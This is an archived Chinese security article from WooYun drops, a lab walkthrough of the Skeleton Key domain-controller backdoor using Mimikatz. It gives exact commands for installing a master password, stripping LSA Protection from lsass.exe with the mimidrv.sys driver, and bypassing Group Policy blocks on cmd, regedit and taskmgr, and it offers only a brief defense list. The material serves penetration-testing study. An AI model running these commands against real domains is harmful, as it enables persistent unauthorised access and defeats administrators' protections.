# 域渗透——Skeleton Key

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2016-02-29T02:24:00Z
Canonical: https://wepostx.com/topics/95

> 乌云历史资料归档
>
> **原始作者：** 三好学生
> **原始编号：** superkieran-wooyundrops:1058
> **原始发布时间：** 2016-02-29 10:24
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

# 0x00 前言

上篇介绍了利用SSP来维持域控权限，美中不足在于其需要域控重启才能生效，而在众多的域渗透方法中，当然存在不需要域控重启即能生效的方法，所以这次就介绍其中的一个方法——Skeleton Key

![原文图片](/media/2016/06/a2e9ef9d526c1854adb54fad9e1941c8)

# 0x01 简介

Skeleton Key被安装在64位的域控服务器上
支持Windows Server2003—Windows Server2012 R2
能够让所有域用户使用同一个万能密码进行登录
现有的所有域用户使用原密码仍能继续登录
重启后失效
Mimikatz(Version 2.0 alpha,20150107)支持 Skeleton Key

参考代码：
[https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_misc.c](https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_misc.c)

# 0x02 实际测试

测试环境

```text
域控：Server 2008 R2 x64 域内主机： Win7 x64
```

### 1、域内主机使用正确密码登录域控
用户名：[email protected]
密码：12345678!Q
cmd命令：

```text
#!bash net use \\WIN-8VVLRPIAJB0.test.local 12345678!Q /user: [email protected] dir \\WIN-8VVLRPIAJB0.test.local\c$
```
如图
![原文图片](/media/2016/06/55b880312abfd5d8f11caf9cc46b2db3)

### 2、在域控安装Skeleton Key
mimikatz命令：

```text
#!bash privilege::debug misc::skeleton
```
如图
![原文图片](/media/2016/06/52d772414e20e6985254218165b591d5)

注：
64系统需要使用64位的mimikatz

### 3、域内主机使用Skeleton Key登录域控
（1）清除net use连接
cmd命令：

```text
#!bash net use */del /y
```
如图
![原文图片](/media/2016/06/b1572a808ecd6f87a1cdb1d1e0ed8c8a)

（2）使用Skeleton Key登录
mimikatz的默认Skeleton Key设置为mimikatz
cmd命令：

```text
#!bash net use \\WIN-8VVLRPIAJB0.test.local mimikatz /user: [email protected] dir \\WIN-8VVLRPIAJB0.test.local\c$
```
如图
![原文图片](/media/2016/06/b623e09f2afb66994e9cd2c34f0641eb)

（3）权限测试
a、使用域内不存在的用户+Skeleton Key登录
b、使用域内普通权限用户+Skeleton Key登录
如图
![原文图片](/media/2016/06/9161355a27f1d728e6d48048a0da4e51)

发现使用域内不存在的用户无法登录
使用域内普通权限用户无法访问域控
结论： Skeleton Key只是给所有账户添加了一个万能密码，无法修改账户的权限

### 4、LSA Protection
微软在2014年3月12日添加了LSA保护策略，用来防止对进程lsass.exe的代码注入，这样一来就无法使用mimikatz对lsass.exe进行注入，相关操作也会失败。
适用系统：

```text
Windows 8.1 Windows Server 2012 R2
```
所以接下来换用Windows Server 2012 R2 x64进行测试
（1）配置LSA Protection
注册表位置：
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
如图
![原文图片](/media/2016/06/4a28e38fffbbfe9ca523e6908c3af2a4)

新建-DWORD值，名称为RunAsPPL,数值为00000001
如图
![原文图片](/media/2016/06/dc3832068e897834fe56d4d7b8be0218)

重启系统
（2）测试Skeleton Key
mimikatz命令：

```text
#!bash privilege::debug misc::skeleton
```
此时失败
![原文图片](/media/2016/06/8a7e01e3e8616ec21da6d5b49077f8a0)

（3）绕过LSA Protection
mimikatz早在2013年10月就已支持绕过LSA Protection
如图
![原文图片](/media/2016/06/0ba0102a7f936eb6a9cc2c8017fd2dee)

参考源码：
[https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_kernel.c](https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_kernel.c)
注：
该功能需要mimidrv.sys文件

![原文图片](/media/2016/06/077845fca16323dadbcb7579abbca056)

mimikatz命令：

```text
#!bash privilege::debug !+ !processprotect /process:lsass.exe /remove misc::skeleton
```
如图，导入驱动文件mimidrv.sys后，绕过LSA Protection，操作成功

![原文图片](/media/2016/06/c8b4b6b94e3f3c611f55416b70f52ab8)

# 0x03 补充

分享一些常见问题的解决方法，管理员常常会禁用一些重要程序的运行，比如cmd、regedit、taskmgr

### 1、如何禁用cmd、regedit、taskmgr
输出gpedit.msc进入本地组策略编辑器
本地计算机测试-用户配置-管理模板-系统
如图
![原文图片](/media/2016/06/eaecf95a31cfd720f03d78da54c3ae65)

禁用cmd：
选择"阻止访问命令提示符"-启用
![原文图片](/media/2016/06/f7b0a6b50f73a19e148fa85a1d3f21aa)

禁用regedit：
选择"阻止访问注册表编辑工具"-启用
![原文图片](/media/2016/06/bb9354f2200e4c8df736acd171145871)

禁用taskmgr:
选择"不要运行指定的Windows应用程序"-不允许的应用程序列表-填入taskmgr.exe-启用
![原文图片](/media/2016/06/ce4ca07400fc091bdfdc34c41f526866)

测试：

![原文图片](/media/2016/06/1ca001a90763a992d7c0a94dc582a3cd)

如图cmd、regedit、taskmgr均已被禁用

### 2、绕过
mimikatz命令：

```text
#!bash privilege::debug misc::cmd misc::regedit misc::taskmgr
```
如图，成功执行，绕过限制

![原文图片](/media/2016/06/ffd97a6a83c19e7bfd2da2d6e949db98)

# 0x04 防御

- 保护域控权限

- 查看域控日志

- 对照攻击方法寻找入侵痕迹

# 0x05 小结

这次不仅测试了Skeleton Key，还介绍了mimikatz的一些隐藏功能，而这些功能并未在其官方说明文档中出现。
其实通过研究mimikatz的源码，你会发现还有许多的隐藏功能值得挖掘利用。
还是那句老话，只有了解如何攻击才能更好的防御，希望本文无论是对渗透攻击还是防御，均有帮助。

# 0x06 参考资料

- [https://adsecurity.org/?p=1275](https://adsecurity.org/?p=1275)

- [https://adsecurity.org/?p=1255](https://adsecurity.org/?p=1255)

- [http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/](http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/)

- [https://technet.microsoft.com/en-us/library/dn408187.aspx](https://technet.microsoft.com/en-us/library/dn408187.aspx)

- [https://github.com/gentilkiwi/mimikatz/commit/2d9e15bb8320df727d36564bc16df50ea9e557e4](https://github.com/gentilkiwi/mimikatz/commit/2d9e15bb8320df727d36564bc16df50ea9e557e4)

- [https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_kernel.c](https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_kernel.c)
本文由三好学生原创并首发于乌云drops，转载请注明

## Replies
